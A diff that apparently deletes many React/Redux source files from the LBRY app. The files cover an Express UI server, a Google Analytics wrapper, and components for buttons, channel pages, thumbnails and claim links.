const path = require('path');
|
||||
const app = express();
|
||||
const port = 1337;
|
||||
|
||||
app.use(express.static(__dirname));
|
||||
|
||||
app.get('*', function(req, res) {
|
||||
res.sendFile(path.join(__dirname, '/index.html'));
|
||||
});
|
||||
|
||||
app.listen(port, () => console.log(`UI server listening at http://localhost:${port}`));
|
||||
@@ -1,22 +0,0 @@
|
||||
const callable = () => {
|
||||
throw Error('Need to fix this stub');
|
||||
};
|
||||
|
||||
export const remote = {
|
||||
dialog: {
|
||||
showOpenDialog: callable,
|
||||
},
|
||||
getCurrentWindow: callable,
|
||||
app: {
|
||||
getAppPath: callable,
|
||||
},
|
||||
BrowserWindow: {
|
||||
getFocusedWindow: callable,
|
||||
},
|
||||
Menu: {
|
||||
getApplicationMenu: callable,
|
||||
},
|
||||
require: callable,
|
||||
};
|
||||
|
||||
export const isDev = false;
|
||||
@@ -1,131 +0,0 @@
|
||||
// @flow
|
||||
import { Lbryio } from 'lbryinc';
|
||||
import ReactGA from 'react-ga';
|
||||
import { history } from './store';
|
||||
// @if TARGET='app'
|
||||
import ElectronCookies from '@exponent/electron-cookies';
|
||||
// @endif
|
||||
|
||||
const isProduction = process.env.NODE_ENV === 'production';
|
||||
|
||||
type Analytics = {
|
||||
pageView: string => void,
|
||||
setUser: Object => void,
|
||||
toggle: (boolean, ?boolean) => void,
|
||||
apiLogView: (string, string, string, ?number, ?() => void) => void,
|
||||
apiLogPublish: () => void,
|
||||
tagFollowEvent: (string, boolean, string) => void,
|
||||
};
|
||||
|
||||
let analyticsEnabled: boolean = true;
|
||||
const analytics: Analytics = {
|
||||
pageView: path => {
|
||||
if (analyticsEnabled) {
|
||||
ReactGA.pageview(path);
|
||||
}
|
||||
},
|
||||
setUser: userId => {
|
||||
if (analyticsEnabled && userId) {
|
||||
ReactGA.event({
|
||||
category: 'User',
|
||||
action: 'userId',
|
||||
value: userId,
|
||||
});
|
||||
}
|
||||
},
|
||||
toggle: (enabled: boolean): void => {
|
||||
// Always collect analytics on lbry.tv
|
||||
// @if TARGET='app'
|
||||
analyticsEnabled = enabled;
|
||||
// @endif
|
||||
},
|
||||
apiLogView: (uri, outpoint, claimId, timeToStart, onSuccessCb) => {
|
||||
if (analyticsEnabled) {
|
||||
const params: {
|
||||
uri: string,
|
||||
outpoint: string,
|
||||
claim_id: string,
|
||||
time_to_start?: number,
|
||||
} = {
|
||||
uri,
|
||||
outpoint,
|
||||
claim_id: claimId,
|
||||
};
|
||||
|
||||
if (timeToStart) {
|
||||
params.time_to_start = timeToStart;
|
||||
}
|
||||
|
||||
Lbryio.call('file', 'view', params)
|
||||
.then(() => {
|
||||
if (onSuccessCb) {
|
||||
onSuccessCb();
|
||||
}
|
||||
})
|
||||
.catch(() => {});
|
||||
}
|
||||
},
|
||||
apiLogSearch: () => {
|
||||
if (analyticsEnabled && isProduction) {
|
||||
Lbryio.call('event', 'search');
|
||||
}
|
||||
},
|
||||
apiLogPublish: () => {
|
||||
if (analyticsEnabled && isProduction) {
|
||||
Lbryio.call('event', 'publish');
|
||||
}
|
||||
},
|
||||
apiSearchFeedback: (query, vote) => {
|
||||
if (isProduction) {
|
||||
// We don't need to worry about analytics enabled here because users manually click on the button to provide feedback
|
||||
Lbryio.call('feedback', 'search', { query, vote });
|
||||
}
|
||||
},
|
||||
tagFollowEvent: (tag, following, location) => {
|
||||
if (analyticsEnabled) {
|
||||
ReactGA.event({
|
||||
category: following ? 'Tag-Follow' : 'Tag-Unfollow',
|
||||
action: tag,
|
||||
});
|
||||
}
|
||||
},
|
||||
};
|
||||
|
||||
// Initialize google analytics
|
||||
// Set `debug: true` for debug info
|
||||
// Will change once we have separate ids for desktop/web
|
||||
const UA_ID = IS_WEB ? 'UA-60403362-12' : 'UA-60403362-13';
|
||||
|
||||
// @if TARGET='app'
|
||||
ElectronCookies.enable({
|
||||
origin: 'https://lbry.tv',
|
||||
});
|
||||
// @endif
|
||||
|
||||
ReactGA.initialize(UA_ID, {
|
||||
testMode: process.env.NODE_ENV !== 'production',
|
||||
cookieDomain: 'auto',
|
||||
});
|
||||
|
||||
// Manually call the first page view
|
||||
// React Router doesn't include this on `history.listen`
|
||||
// @if TARGET='web'
|
||||
analytics.pageView(window.location.pathname + window.location.search);
|
||||
// @endif
|
||||
|
||||
// @if TARGET='app'
|
||||
ReactGA.set({ checkProtocolTask: null });
|
||||
ReactGA.set({ location: 'https://lbry.tv' });
|
||||
analytics.pageView(window.location.pathname.split('.html')[1] + window.location.search || '/');
|
||||
// @endif;
|
||||
|
||||
// Listen for url changes and report
|
||||
// This will include search queries
|
||||
history.listen(location => {
|
||||
const { pathname, search } = location;
|
||||
|
||||
const page = `${pathname}${search}`;
|
||||
analytics.pageView(page);
|
||||
});
|
||||
|
||||
export default analytics;
|
||||
@@ -1,26 +0,0 @@
|
||||
import { hot } from 'react-hot-loader/root';
|
||||
import { connect } from 'react-redux';
|
||||
import { doUpdateBlockHeight, doError, doFetchTransactions } from 'lbry-redux';
|
||||
import { selectUser, doRewardList, doFetchRewardedContent } from 'lbryinc';
|
||||
import { selectThemePath } from 'redux/selectors/settings';
|
||||
import App from './view';
|
||||
|
||||
const select = state => ({
|
||||
user: selectUser(state),
|
||||
theme: selectThemePath(state),
|
||||
});
|
||||
|
||||
const perform = dispatch => ({
|
||||
alertError: errorList => dispatch(doError(errorList)),
|
||||
updateBlockHeight: () => dispatch(doUpdateBlockHeight()),
|
||||
fetchRewards: () => dispatch(doRewardList()),
|
||||
fetchRewardedContent: () => dispatch(doFetchRewardedContent()),
|
||||
fetchTransactions: () => dispatch(doFetchTransactions()),
|
||||
});
|
||||
|
||||
export default hot(
|
||||
connect(
|
||||
select,
|
||||
perform
|
||||
)(App)
|
||||
);
|
||||
@@ -1,68 +0,0 @@
|
||||
// @flow
|
||||
import React, { useEffect, useRef } from 'react';
|
||||
import analytics from 'analytics';
|
||||
import Router from 'component/router/index';
|
||||
import ModalRouter from 'modal/modalRouter';
|
||||
import ReactModal from 'react-modal';
|
||||
import SideBar from 'component/sideBar';
|
||||
import Header from 'component/header';
|
||||
import { openContextMenu } from 'util/context-menu';
|
||||
import useKonamiListener from 'util/enhanced-layout';
|
||||
import Yrbl from 'component/yrbl';
|
||||
|
||||
export const MAIN_WRAPPER_CLASS = 'main-wrapper';
|
||||
|
||||
type Props = {
|
||||
alertError: (string | {}) => void,
|
||||
pageTitle: ?string,
|
||||
language: string,
|
||||
theme: string,
|
||||
user: ?{ id: string },
|
||||
fetchRewards: () => void,
|
||||
fetchRewardedContent: () => void,
|
||||
fetchTransactions: () => void,
|
||||
};
|
||||
|
||||
function App(props: Props) {
|
||||
const { theme, fetchRewards, fetchRewardedContent, fetchTransactions, user } = props;
|
||||
const appRef = useRef();
|
||||
const isEnhancedLayout = useKonamiListener();
|
||||
const userId = user && user.id;
|
||||
|
||||
useEffect(() => {
|
||||
ReactModal.setAppElement(appRef.current);
|
||||
fetchRewardedContent();
|
||||
|
||||
// @if TARGET='app'
|
||||
fetchRewards();
|
||||
fetchTransactions();
|
||||
// @endif
|
||||
}, [fetchRewards, fetchRewardedContent, fetchTransactions]);
|
||||
|
||||
useEffect(() => {
|
||||
// $FlowFixMe
|
||||
document.documentElement.setAttribute('data-mode', theme);
|
||||
}, [theme]);
|
||||
|
||||
useEffect(() => {
|
||||
if (userId) {
|
||||
analytics.setUser(userId);
|
||||
}
|
||||
}, [userId]);
|
||||
|
||||
return (
|
||||
<div className={MAIN_WRAPPER_CLASS} ref={appRef} onContextMenu={e => openContextMenu(e)}>
|
||||
<Header />
|
||||
|
||||
<div className="main-wrapper__inner">
|
||||
<Router />
|
||||
<SideBar />
|
||||
</div>
|
||||
|
||||
<ModalRouter />
|
||||
{isEnhancedLayout && <Yrbl className="yrbl--enhanced" />}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default App;
|
||||
@@ -1,3 +0,0 @@
|
||||
import Button from './view';
|
||||
|
||||
export default Button;
|
||||
@@ -1,140 +0,0 @@
|
||||
// @flow
|
||||
import type { Node } from 'react';
|
||||
import React, { forwardRef } from 'react';
|
||||
import Icon from 'component/common/icon';
|
||||
import classnames from 'classnames';
|
||||
import { NavLink } from 'react-router-dom';
|
||||
import { formatLbryUriForWeb } from 'util/uri';
|
||||
import { OutboundLink } from 'react-ga';
|
||||
|
||||
type Props = {
|
||||
id: ?string,
|
||||
href: ?string,
|
||||
title: ?string,
|
||||
label: ?string,
|
||||
icon: ?string,
|
||||
iconRight: ?string,
|
||||
disabled: ?boolean,
|
||||
children: ?Node,
|
||||
navigate: ?string,
|
||||
className: ?string,
|
||||
description: ?string,
|
||||
type: string,
|
||||
button: ?string, // primary, secondary, alt, link
|
||||
iconSize?: number,
|
||||
iconColor?: string,
|
||||
constrict: ?boolean, // to shorten the button and ellipsis, only use for links
|
||||
activeClass?: string,
|
||||
innerRef: ?any,
|
||||
// Events
|
||||
onClick: ?(any) => any,
|
||||
onMouseEnter: ?(any) => any,
|
||||
onMouseLeave: ?(any) => any,
|
||||
};
|
||||
|
||||
// use forwardRef to allow consumers to pass refs to the button content if they want to
|
||||
// flow requires forwardRef have default type arguments passed to it
|
||||
const Button = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
const {
|
||||
type = 'button',
|
||||
onClick,
|
||||
href,
|
||||
title,
|
||||
label,
|
||||
icon,
|
||||
// This should rarely be used. Regular buttons should just use `icon`
|
||||
// `iconRight` is used for the header (home) button with the LBRY icon and external links that are displayed inline
|
||||
iconRight,
|
||||
disabled,
|
||||
children,
|
||||
navigate,
|
||||
className,
|
||||
description,
|
||||
button,
|
||||
iconSize,
|
||||
iconColor,
|
||||
constrict,
|
||||
activeClass,
|
||||
...otherProps
|
||||
} = props;
|
||||
|
||||
const combinedClassName = classnames(
|
||||
'button',
|
||||
button
|
||||
? {
|
||||
'button--primary': button === 'primary',
|
||||
'button--secondary': button === 'secondary',
|
||||
'button--alt': button === 'alt',
|
||||
'button--inverse': button === 'inverse',
|
||||
'button--close': button === 'close',
|
||||
'button--disabled': disabled,
|
||||
'button--link': button === 'link',
|
||||
'button--constrict': constrict,
|
||||
}
|
||||
: 'button--no-style',
|
||||
className
|
||||
);
|
||||
|
||||
const content = (
|
||||
<span className="button__content">
|
||||
{icon && <Icon icon={icon} iconColor={iconColor} size={iconSize} />}
|
||||
{label && <span className="button__label">{label}</span>}
|
||||
{children && children}
|
||||
{iconRight && <Icon icon={iconRight} iconColor={iconColor} size={iconSize} />}
|
||||
</span>
|
||||
);
|
||||
|
||||
if (href) {
|
||||
return (
|
||||
<OutboundLink eventLabel="outboundClick" to={href} target="_blank" className={combinedClassName}>
|
||||
{content}
|
||||
</OutboundLink>
|
||||
);
|
||||
}
|
||||
|
||||
// Handle lbry:// uris passed in, or already formatted web urls
|
||||
let path = navigate;
|
||||
if (path) {
|
||||
if (path.startsWith('lbry://')) {
|
||||
path = formatLbryUriForWeb(path);
|
||||
} else if (!path.startsWith('/')) {
|
||||
// Force a leading slash so new paths aren't appended on to the current path
|
||||
path = `/${path}`;
|
||||
}
|
||||
}
|
||||
|
||||
return path ? (
|
||||
<NavLink
|
||||
ref={ref}
|
||||
exact
|
||||
to={path}
|
||||
title={title}
|
||||
disabled={disabled}
|
||||
onClick={e => {
|
||||
e.stopPropagation();
|
||||
if (onClick) {
|
||||
onClick();
|
||||
}
|
||||
}}
|
||||
className={combinedClassName}
|
||||
activeClassName={activeClass}
|
||||
>
|
||||
{content}
|
||||
</NavLink>
|
||||
) : (
|
||||
<button
|
||||
ref={ref}
|
||||
title={title}
|
||||
aria-label={description || label || title}
|
||||
className={combinedClassName}
|
||||
onClick={onClick}
|
||||
disabled={disabled}
|
||||
type={type}
|
||||
{...otherProps}
|
||||
>
|
||||
{content}
|
||||
</button>
|
||||
);
|
||||
});
|
||||
|
||||
export default Button;
|
||||
@@ -1,3 +0,0 @@
|
||||
import CardMedia from './view';
|
||||
|
||||
export default CardMedia;
|
||||
@@ -1,22 +0,0 @@
|
||||
// @flow
|
||||
import React from 'react';
|
||||
import Placeholder from './placeholder.png';
|
||||
|
||||
type Props = {
|
||||
thumbnail: ?string, // externally sourced image
|
||||
};
|
||||
|
||||
class CardMedia extends React.PureComponent<Props> {
|
||||
render() {
|
||||
const { thumbnail } = this.props;
|
||||
|
||||
return (
|
||||
<div
|
||||
style={thumbnail ? { backgroundImage: `url('${thumbnail}')` } : { backgroundImage: `url(${Placeholder})` }}
|
||||
className="media__thumb"
|
||||
/>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default CardMedia;
|
||||
@@ -1,14 +0,0 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { makeSelectMetadataItemForUri } from 'lbry-redux';
|
||||
import ChannelAbout from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
description: makeSelectMetadataItemForUri(props.uri, 'description')(state),
|
||||
website: makeSelectMetadataItemForUri(props.uri, 'website_url')(state),
|
||||
email: makeSelectMetadataItemForUri(props.uri, 'email')(state),
|
||||
});
|
||||
|
||||
export default connect(
|
||||
select,
|
||||
null
|
||||
)(ChannelAbout);
|
||||
@@ -1,56 +0,0 @@
|
||||
// @flow
|
||||
import React, { Fragment } from 'react';
|
||||
import MarkdownPreview from 'component/common/markdown-preview';
|
||||
|
||||
type Props = {
|
||||
description: ?string,
|
||||
email: ?string,
|
||||
website: ?string,
|
||||
};
|
||||
|
||||
const formatEmail = (email: string) => {
|
||||
if (email) {
|
||||
const protocolRegex = new RegExp('^mailto:', 'i');
|
||||
const protocol = protocolRegex.exec(email);
|
||||
return protocol ? email : `mailto:${email}`;
|
||||
}
|
||||
return null;
|
||||
};
|
||||
|
||||
function ChannelContent(props: Props) {
|
||||
const { description, email, website } = props;
|
||||
const showAbout = description || email || website;
|
||||
|
||||
return (
|
||||
<section className="card--section">
|
||||
{!showAbout && <h2 className="main--empty empty">{__('Nothing here yet')}</h2>}
|
||||
{showAbout && (
|
||||
<Fragment>
|
||||
{description && (
|
||||
<div className="media__info-text media__info-text--small">
|
||||
<MarkdownPreview content={description} promptLinks />
|
||||
</div>
|
||||
)}
|
||||
{email && (
|
||||
<Fragment>
|
||||
<div className="media__info-title">{__('Contact')}</div>
|
||||
<div className="media__info-text">
|
||||
<MarkdownPreview content={formatEmail(email)} promptLinks />
|
||||
</div>
|
||||
</Fragment>
|
||||
)}
|
||||
{website && (
|
||||
<Fragment>
|
||||
<div className="media__info-title">{__('Site')}</div>
|
||||
<div className="media__info-text">
|
||||
<MarkdownPreview content={website} promptLinks />
|
||||
</div>
|
||||
</Fragment>
|
||||
)}
|
||||
</Fragment>
|
||||
)}
|
||||
</section>
|
||||
);
|
||||
}
|
||||
|
||||
export default ChannelContent;
|
||||
@@ -1,34 +0,0 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { doFetchClaimsByChannel } from 'redux/actions/content';
|
||||
import { PAGE_SIZE } from 'constants/claim';
|
||||
import {
|
||||
makeSelectClaimsInChannelForPage,
|
||||
makeSelectFetchingChannelClaims,
|
||||
makeSelectClaimIsMine,
|
||||
makeSelectTotalPagesForChannel,
|
||||
} from 'lbry-redux';
|
||||
import { withRouter } from 'react-router';
|
||||
import ChannelPage from './view';
|
||||
|
||||
const select = (state, props) => {
|
||||
const { search } = props.location;
|
||||
const urlParams = new URLSearchParams(search);
|
||||
const page = urlParams.get('page') || 0;
|
||||
return {
|
||||
claimsInChannel: makeSelectClaimsInChannelForPage(props.uri, page)(state),
|
||||
fetching: makeSelectFetchingChannelClaims(props.uri)(state),
|
||||
totalPages: makeSelectTotalPagesForChannel(props.uri, PAGE_SIZE)(state),
|
||||
channelIsMine: makeSelectClaimIsMine(props.uri)(state),
|
||||
};
|
||||
};
|
||||
|
||||
const perform = dispatch => ({
|
||||
fetchClaims: (uri, page) => dispatch(doFetchClaimsByChannel(uri, page)),
|
||||
});
|
||||
|
||||
export default withRouter(
|
||||
connect(
|
||||
select,
|
||||
perform
|
||||
)(ChannelPage)
|
||||
);
|
||||
@@ -1,49 +0,0 @@
|
||||
// @flow
|
||||
import React, { Fragment } from 'react';
|
||||
import ClaimList from 'component/claimList';
|
||||
import HiddenNsfwClaims from 'component/hiddenNsfwClaims';
|
||||
import { withRouter } from 'react-router-dom';
|
||||
import Paginate from 'component/common/paginate';
|
||||
import Spinner from 'component/spinner';
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
totalPages: number,
|
||||
fetching: boolean,
|
||||
params: { page: number },
|
||||
claimsInChannel: Array<StreamClaim>,
|
||||
channelIsMine: boolean,
|
||||
fetchClaims: (string, number) => void,
|
||||
};
|
||||
|
||||
function ChannelContent(props: Props) {
|
||||
const { uri, fetching, claimsInChannel, totalPages, channelIsMine, fetchClaims } = props;
|
||||
const hasContent = Boolean(claimsInChannel && claimsInChannel.length);
|
||||
return (
|
||||
<Fragment>
|
||||
{fetching && !hasContent && (
|
||||
<section className="main--empty">
|
||||
<Spinner delayed />
|
||||
</section>
|
||||
)}
|
||||
|
||||
{!fetching && !hasContent && (
|
||||
<div className="card--section">
|
||||
<h2 className="help">{__("This channel hasn't uploaded anything.")}</h2>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{!channelIsMine && <HiddenNsfwClaims className="card__subtitle" uri={uri} />}
|
||||
|
||||
{hasContent && <ClaimList header={false} uris={claimsInChannel.map(claim => claim.permanent_url)} />}
|
||||
|
||||
<Paginate
|
||||
onPageChange={page => fetchClaims(uri, page)}
|
||||
totalPages={totalPages}
|
||||
loading={fetching && !hasContent}
|
||||
/>
|
||||
</Fragment>
|
||||
);
|
||||
}
|
||||
|
||||
export default withRouter(ChannelContent);
|
||||
@@ -1,34 +0,0 @@
|
||||
import { connect } from 'react-redux';
|
||||
import {
|
||||
makeSelectTitleForUri,
|
||||
makeSelectThumbnailForUri,
|
||||
makeSelectCoverForUri,
|
||||
selectCurrentChannelPage,
|
||||
makeSelectMetadataItemForUri,
|
||||
doUpdateChannel,
|
||||
makeSelectAmountForUri,
|
||||
} from 'lbry-redux';
|
||||
import ChannelPage from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
title: makeSelectTitleForUri(props.uri)(state),
|
||||
thumbnail: makeSelectThumbnailForUri(props.uri)(state),
|
||||
cover: makeSelectCoverForUri(props.uri)(state),
|
||||
page: selectCurrentChannelPage(state),
|
||||
description: makeSelectMetadataItemForUri(props.uri, 'description')(state),
|
||||
website: makeSelectMetadataItemForUri(props.uri, 'website_url')(state),
|
||||
email: makeSelectMetadataItemForUri(props.uri, 'email')(state),
|
||||
tags: makeSelectMetadataItemForUri(props.uri, 'tags')(state),
|
||||
locations: makeSelectMetadataItemForUri(props.uri, 'locations')(state),
|
||||
languages: makeSelectMetadataItemForUri(props.uri, 'languages')(state),
|
||||
amount: makeSelectAmountForUri(props.uri)(state),
|
||||
});
|
||||
|
||||
const perform = dispatch => ({
|
||||
updateChannel: params => dispatch(doUpdateChannel(params)),
|
||||
});
|
||||
|
||||
export default connect(
|
||||
select,
|
||||
perform
|
||||
)(ChannelPage);
|
||||
@@ -1,222 +0,0 @@
|
||||
// @flow
|
||||
import React, { useState } from 'react';
|
||||
import { parseURI } from 'lbry-redux';
|
||||
import { Form, FormField } from 'component/common/form';
|
||||
import Button from 'component/button';
|
||||
import SelectAsset from 'component/selectAsset';
|
||||
import TagSelect from 'component/tagsSelect';
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
title: ?string,
|
||||
amount: string,
|
||||
cover: ?string,
|
||||
thumbnail: ?string,
|
||||
location: { search: string },
|
||||
description: string,
|
||||
website: string,
|
||||
email: string,
|
||||
balance: number,
|
||||
tags: Array<string>,
|
||||
locations: Array<string>,
|
||||
languages: Array<string>,
|
||||
updateChannel: any => void,
|
||||
updateThumb: string => void,
|
||||
updateCover: string => void,
|
||||
setEditing: boolean => void,
|
||||
};
|
||||
|
||||
function ChannelForm(props: Props) {
|
||||
const {
|
||||
uri,
|
||||
title,
|
||||
cover,
|
||||
description,
|
||||
website,
|
||||
email,
|
||||
thumbnail,
|
||||
tags,
|
||||
locations,
|
||||
languages,
|
||||
amount,
|
||||
setEditing,
|
||||
updateChannel,
|
||||
updateThumb,
|
||||
updateCover,
|
||||
} = props;
|
||||
const { claimId } = parseURI(uri);
|
||||
|
||||
// fill this in with sdk data
|
||||
const channelParams = {
|
||||
website: website,
|
||||
email: email,
|
||||
languages: languages || [],
|
||||
cover: cover,
|
||||
description: description,
|
||||
locations: locations || [],
|
||||
title: title,
|
||||
thumbnail: thumbnail,
|
||||
tags: tags
|
||||
? tags.map(tag => {
|
||||
return { name: tag };
|
||||
})
|
||||
: [],
|
||||
claim_id: claimId,
|
||||
amount: amount,
|
||||
};
|
||||
|
||||
const [params, setParams] = useState(channelParams);
|
||||
const [bidError, setBidError] = useState('');
|
||||
|
||||
const MINIMUM_PUBLISH_BID = 0.00000001;
|
||||
// If a user changes tabs, update the url so it stays on the same page if they refresh.
|
||||
// We don't want to use links here because we can't animate the tab change and using links
|
||||
// would alter the Tab label's role attribute, which should stay role="tab" to work with keyboards/screen readers.
|
||||
|
||||
const handleBidChange = (bid: number) => {
|
||||
const { balance, amount } = props;
|
||||
const totalAvailableBidAmount = parseFloat(amount) + parseFloat(balance);
|
||||
setParams({ ...params, amount: bid });
|
||||
setBidError('');
|
||||
if (bid <= 0.0 || isNaN(bid)) {
|
||||
setBidError(__('Deposit cannot be 0'));
|
||||
} else if (totalAvailableBidAmount === bid) {
|
||||
setBidError(__('Please decrease your deposit to account for transaction fees'));
|
||||
} else if (totalAvailableBidAmount < bid) {
|
||||
setBidError(__('Deposit cannot be higher than your balance'));
|
||||
} else if (bid <= MINIMUM_PUBLISH_BID) {
|
||||
setBidError(__('Your deposit must be higher'));
|
||||
}
|
||||
};
|
||||
|
||||
const handleThumbnailChange = (url: string) => {
|
||||
setParams({ ...params, thumbnail: url });
|
||||
updateThumb(url);
|
||||
};
|
||||
|
||||
const handleCoverChange = (url: string) => {
|
||||
setParams({ ...params, cover: url });
|
||||
updateCover(url);
|
||||
};
|
||||
// TODO clear and bail after submit
|
||||
return (
|
||||
<section className={'card--section'}>
|
||||
<div className="card__subtitle">
|
||||
<p>{__('We can explain...')}</p>
|
||||
<p>
|
||||
{__(
|
||||
"We know this page won't win any design awards, we just wanted to release a very basic version that works so people can use it right now. There is a much nicer version being worked on."
|
||||
)}
|
||||
</p>
|
||||
</div>
|
||||
<Form onSubmit={channelParams => updateChannel(channelParams)}>
|
||||
<SelectAsset
|
||||
onUpdate={v => handleThumbnailChange(v)}
|
||||
currentValue={params.thumbnail}
|
||||
assetName={'Thumbnail'}
|
||||
recommended={'(300 x 300)'}
|
||||
/>
|
||||
|
||||
<SelectAsset
|
||||
onUpdate={v => handleCoverChange(v)}
|
||||
currentValue={params.cover}
|
||||
assetName={'Cover'}
|
||||
recommended={'(1000 x 160)'}
|
||||
/>
|
||||
|
||||
<FormField
|
||||
type="text"
|
||||
name="channel_title2"
|
||||
label={__('Title')}
|
||||
placeholder={__('Titular Title')}
|
||||
disabled={false}
|
||||
value={params.title}
|
||||
onChange={e => setParams({ ...params, title: e.target.value })}
|
||||
/>
|
||||
<FormField
|
||||
className="form-field--price-amount"
|
||||
type="number"
|
||||
name="content_bid2"
|
||||
step="any"
|
||||
label={__('Deposit (LBC)')}
|
||||
postfix="LBC"
|
||||
value={params.amount}
|
||||
error={bidError}
|
||||
min="0.0"
|
||||
disabled={false}
|
||||
onChange={event => handleBidChange(parseFloat(event.target.value))}
|
||||
placeholder={0.1}
|
||||
/>
|
||||
|
||||
<FormField
|
||||
type="text"
|
||||
name="channel_website2"
|
||||
label={__('Website')}
|
||||
placeholder={__('aprettygoodsite.com')}
|
||||
disabled={false}
|
||||
value={params.website}
|
||||
onChange={e => setParams({ ...params, website: e.target.value })}
|
||||
/>
|
||||
|
||||
<FormField
|
||||
type="text"
|
||||
name="content_email2"
|
||||
label={__('Email')}
|
||||
placeholder={__('yourstruly@example.com')}
|
||||
disabled={false}
|
||||
value={params.email}
|
||||
onChange={e => setParams({ ...params, email: e.target.value })}
|
||||
/>
|
||||
|
||||
<FormField
|
||||
type="markdown"
|
||||
name="content_description2"
|
||||
label={__('Description')}
|
||||
placeholder={__('Description of your content')}
|
||||
value={params.description}
|
||||
disabled={false}
|
||||
onChange={text => setParams({ ...params, description: text })}
|
||||
/>
|
||||
<TagSelect
|
||||
title={false}
|
||||
suggestMature
|
||||
help={__('The better your tags are, the easier it will be for people to discover your channel.')}
|
||||
empty={__('No tags added')}
|
||||
onSelect={newTag => {
|
||||
if (!params.tags.map(savedTag => savedTag.name).includes(newTag.name)) {
|
||||
setParams({ ...params, tags: [...params.tags, newTag] });
|
||||
} else {
|
||||
// If it already exists and the user types it in, remove it
|
||||
setParams({ ...params, tags: params.tags.filter(tag => tag.name !== newTag.name) });
|
||||
}
|
||||
}}
|
||||
onRemove={clickedTag => {
|
||||
const newTags = params.tags.slice().filter(tag => tag.name !== clickedTag.name);
|
||||
setParams({ ...params, tags: newTags });
|
||||
}}
|
||||
tagsChosen={params.tags || []}
|
||||
/>
|
||||
<div className={'card__actions'}>
|
||||
<Button
|
||||
button="primary"
|
||||
label={__('Submit')}
|
||||
onClick={() => {
|
||||
updateChannel(params);
|
||||
setEditing(false);
|
||||
}}
|
||||
/>
|
||||
<Button
|
||||
button="link"
|
||||
label={__('Cancel')}
|
||||
onClick={() => {
|
||||
setParams({ ...channelParams });
|
||||
setEditing(false);
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
</Form>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
|
||||
export default ChannelForm;
|
||||
@@ -1,12 +0,0 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { makeSelectThumbnailForUri } from 'lbry-redux';
|
||||
import ChannelThumbnail from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
thumbnail: makeSelectThumbnailForUri(props.uri)(state),
|
||||
});
|
||||
|
||||
export default connect(
|
||||
select,
|
||||
null
|
||||
)(ChannelThumbnail);
|
||||
@@ -1,34 +0,0 @@
|
||||
// @flow
|
||||
import React from 'react';
|
||||
import { parseURI } from 'lbry-redux';
|
||||
import classnames from 'classnames';
|
||||
import Gerbil from './gerbil.png';
|
||||
|
||||
type Props = {
|
||||
thumbnail: ?string,
|
||||
uri: string,
|
||||
className?: string,
|
||||
thumbnailPreview: ?string,
|
||||
};
|
||||
|
||||
function ChannelThumbnail(props: Props) {
|
||||
const { thumbnail, uri, className, thumbnailPreview } = props;
|
||||
|
||||
// Generate a random color class based on the first letter of the channel name
|
||||
const { channelName } = parseURI(uri);
|
||||
const initializer = channelName.charCodeAt(0) - 65; // will be between 0 and 57
|
||||
const colorClassName = `channel-thumbnail__default--${initializer % 4}`;
|
||||
|
||||
return (
|
||||
<div
|
||||
className={classnames('channel-thumbnail', className, {
|
||||
[colorClassName]: !thumbnail,
|
||||
})}
|
||||
>
|
||||
{!thumbnail && <img className="channel-thumbnail__default" src={thumbnailPreview || Gerbil} />}
|
||||
{thumbnail && <img className="channel-thumbnail__custom" src={thumbnailPreview || thumbnail} />}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default ChannelThumbnail;
|
||||
@@ -1,87 +0,0 @@
|
||||
// @flow
|
||||
import * as React from 'react';
|
||||
import Button from 'component/button';
|
||||
import PreviewLink from 'component/previewLink';
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
title: ?string,
|
||||
claim: StreamClaim,
|
||||
children: React.Node,
|
||||
className: ?string,
|
||||
autoEmbed: ?boolean,
|
||||
description: ?string,
|
||||
isResolvingUri: boolean,
|
||||
resolveUri: string => void,
|
||||
blackListedOutpoints: Array<{
|
||||
txid: string,
|
||||
nout: number,
|
||||
}>,
|
||||
};
|
||||
|
||||
class ClaimLink extends React.Component<Props> {
|
||||
static defaultProps = {
|
||||
href: null,
|
||||
link: false,
|
||||
title: null,
|
||||
thumbnail: null,
|
||||
autoEmbed: false,
|
||||
description: null,
|
||||
isResolvingUri: false,
|
||||
};
|
||||
|
||||
componentDidMount() {
|
||||
this.resolve(this.props);
|
||||
}
|
||||
|
||||
componentDidUpdate() {
|
||||
this.resolve(this.props);
|
||||
}
|
||||
|
||||
isClaimBlackListed() {
|
||||
const { claim, blackListedOutpoints } = this.props;
|
||||
|
||||
if (claim && blackListedOutpoints) {
|
||||
let blackListed = false;
|
||||
|
||||
for (let i = 0; i < blackListedOutpoints.length; i += 1) {
|
||||
const outpoint = blackListedOutpoints[i];
|
||||
if (outpoint.txid === claim.txid && outpoint.nout === claim.nout) {
|
||||
blackListed = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return blackListed;
|
||||
}
|
||||
}
|
||||
|
||||
resolve = (props: Props) => {
|
||||
const { isResolvingUri, resolveUri, claim, uri } = props;
|
||||
|
||||
if (!isResolvingUri && claim === undefined && uri) {
|
||||
resolveUri(uri);
|
||||
}
|
||||
};
|
||||
|
||||
render() {
|
||||
const { uri, claim, title, className, autoEmbed, children, isResolvingUri } = this.props;
|
||||
const isUnresolved = (!isResolvingUri && !claim) || !claim;
|
||||
const isBlacklisted = this.isClaimBlackListed();
|
||||
|
||||
if (isBlacklisted || isUnresolved) {
|
||||
return <span>{children}</span>;
|
||||
}
|
||||
|
||||
const { name: claimName } = claim;
|
||||
const showPreview = autoEmbed === true && !isUnresolved;
|
||||
|
||||
return (
|
||||
<React.Fragment>
|
||||
<Button label={children} title={title || claimName} button={'link'} navigate={uri} className={className} />
|
||||
{showPreview && <PreviewLink uri={uri} />}
|
||||
</React.Fragment>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default ClaimLink;
|
||||
@@ -1,125 +0,0 @@
|
